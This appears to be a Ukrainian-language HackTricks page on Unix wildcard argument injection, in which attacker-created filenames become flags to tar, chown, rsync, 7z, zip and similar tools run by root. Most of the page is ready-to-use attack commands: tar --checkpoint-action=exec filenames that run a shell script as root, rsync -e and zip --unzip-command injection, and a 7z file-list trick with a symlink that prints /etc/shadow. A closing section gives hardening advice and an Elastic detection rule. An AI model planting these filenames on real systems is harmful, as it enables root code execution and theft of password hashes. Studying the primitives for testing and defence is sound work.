Wildcards Spare Tricks

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Wildcard (також відомий як glob) ін'єкція аргументів відбувається, коли привілейований скрипт виконує Unix-бінарний файл, такий як tar, chown, rsync, zip, 7z, … з неквотованим шаблоном, таким як *. Оскільки оболонка розширює шаблон перед виконанням бінарного файлу, зловмисник, який може створювати файли в робочому каталозі, може створити імена файлів, які починаються з -, щоб вони інтерпретувалися як опції замість даних, ефективно контрабандуючи довільні прапори або навіть команди. Ця сторінка збирає найкорисніші примітиви, нещодавні дослідження та сучасні виявлення на 2023-2025 роки.

chown / chmod

Ви можете скопіювати власника/групу або біти дозволів довільного файлу, зловживаючи прапором --reference:

bash
# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

Коли root пізніше виконує щось на зразок:

bash
chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file інжектується, що призводить до того, що всі відповідні файли успадковують власність/дозволи від /root/secret``file.

PoC & tool: wildpwn (комбінована атака). Дивіться також класичну статтю DefenseCode для деталей.


tar

GNU tar (Linux, *BSD, busybox-full)

Виконуйте довільні команди, зловживаючи функцією checkpoint:

bash
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Якщо root виконує, наприклад, tar -czf /root/backup.tgz *, shell.sh виконується від імені root.

bsdtar / macOS 14+

За замовчуванням tar на останніх версіях macOS (на базі libarchive) не реалізує --checkpoint, але ви все ще можете досягти виконання коду за допомогою прапора --use-compress-program, який дозволяє вам вказати зовнішній компресор.

bash
# macOS example
touch "--use-compress-program=/bin/sh"

Коли привілейований скрипт виконує tar -cf backup.tar *, /bin/sh буде запущено.


rsync

rsync дозволяє вам переоприділити віддалену оболонку або навіть віддалений двійковий файл за допомогою параметрів командного рядка, які починаються з -e або --rsync-path:

bash
# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

Якщо root пізніше архівує каталог за допомогою rsync -az * backup:/srv/, інжектований прапор запускає вашу оболонку на віддаленій стороні.

PoC: wildpwn (rsync режим).


7-Zip / 7z / 7za

Навіть коли привілейований скрипт обережно додає до шаблону символи -- (щоб зупинити парсинг опцій), формат 7-Zip підтримує файли списків файлів, додаючи до імені файлу @. Поєднання цього з символічним посиланням дозволяє вам екстрагувати довільні файли:

bash
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

Якщо root виконує щось на зразок:

bash
7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip спробує прочитати root.txt (→ /etc/shadow) як список файлів і вийде, друкуючи вміст у stderr.


zip

zip підтримує прапорець --unzip-command, який передається дослівно до системної оболонки, коли архів буде перевірено:

bash
zip result.zip files -T --unzip-command "sh -c id"

Впровадьте прапор через спеціально підготовлену назву файлу та чекайте, поки привілейований скрипт резервного копіювання викличе zip -T (тест архіву) на отриманому файлі.


Додаткові двійкові файли, вразливі до ін'єкції диких символів (швидкий список 2023-2025)

Наступні команди були зловживані в сучасних CTF та реальних середовищах. Пейлоад завжди створюється як назва файлу всередині записуваного каталогу, який пізніше буде оброблений з диким символом:

BinaryFlag to abuseEffect
bsdtar--newer-mtime=@<epoch> → довільний @fileЧитати вміст файлу
flock-c <cmd>Виконати команду
git-c core.sshCommand=<cmd>Виконання команди через git по SSH
scp-S <cmd>Запустити довільну програму замість ssh

Ці примітиви менш поширені, ніж класичні tar/rsync/zip, але їх варто перевірити під час полювання.


Виявлення та зміцнення

  1. Вимкніть оболонкове розширення в критичних скриптах: set -f (set -o noglob) запобігає розширенню диких символів.
  2. Цитуйте або екрануйте аргументи: tar -czf "$dst" -- * небезпечно — надавайте перевагу find . -type f -print0 | xargs -0 tar -czf "$dst".
  3. Явні шляхи: Використовуйте /var/www/html/*.log замість *, щоб зловмисники не могли створити сусідні файли, які починаються з -.
  4. Найменші привілеї: Запускайте резервні/обслуговуючі завдання як обліковий запис служби без привілеїв замість root, коли це можливо.
  5. Моніторинг: Попередньо створене правило Elastic Potential Shell via Wildcard Injection шукає tar --checkpoint=*, rsync -e* або zip --unzip-command, за яким негайно слідує дочірній процес оболонки. Запит EQL можна адаптувати для інших EDR.

Посилання

  • Elastic Security – Правило виявлення потенційної оболонки через ін'єкцію диких символів (остання оновлення 2025)
  • Rutger Flohil – “macOS — Ін'єкція диких символів tar” (18 грудня 2024)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks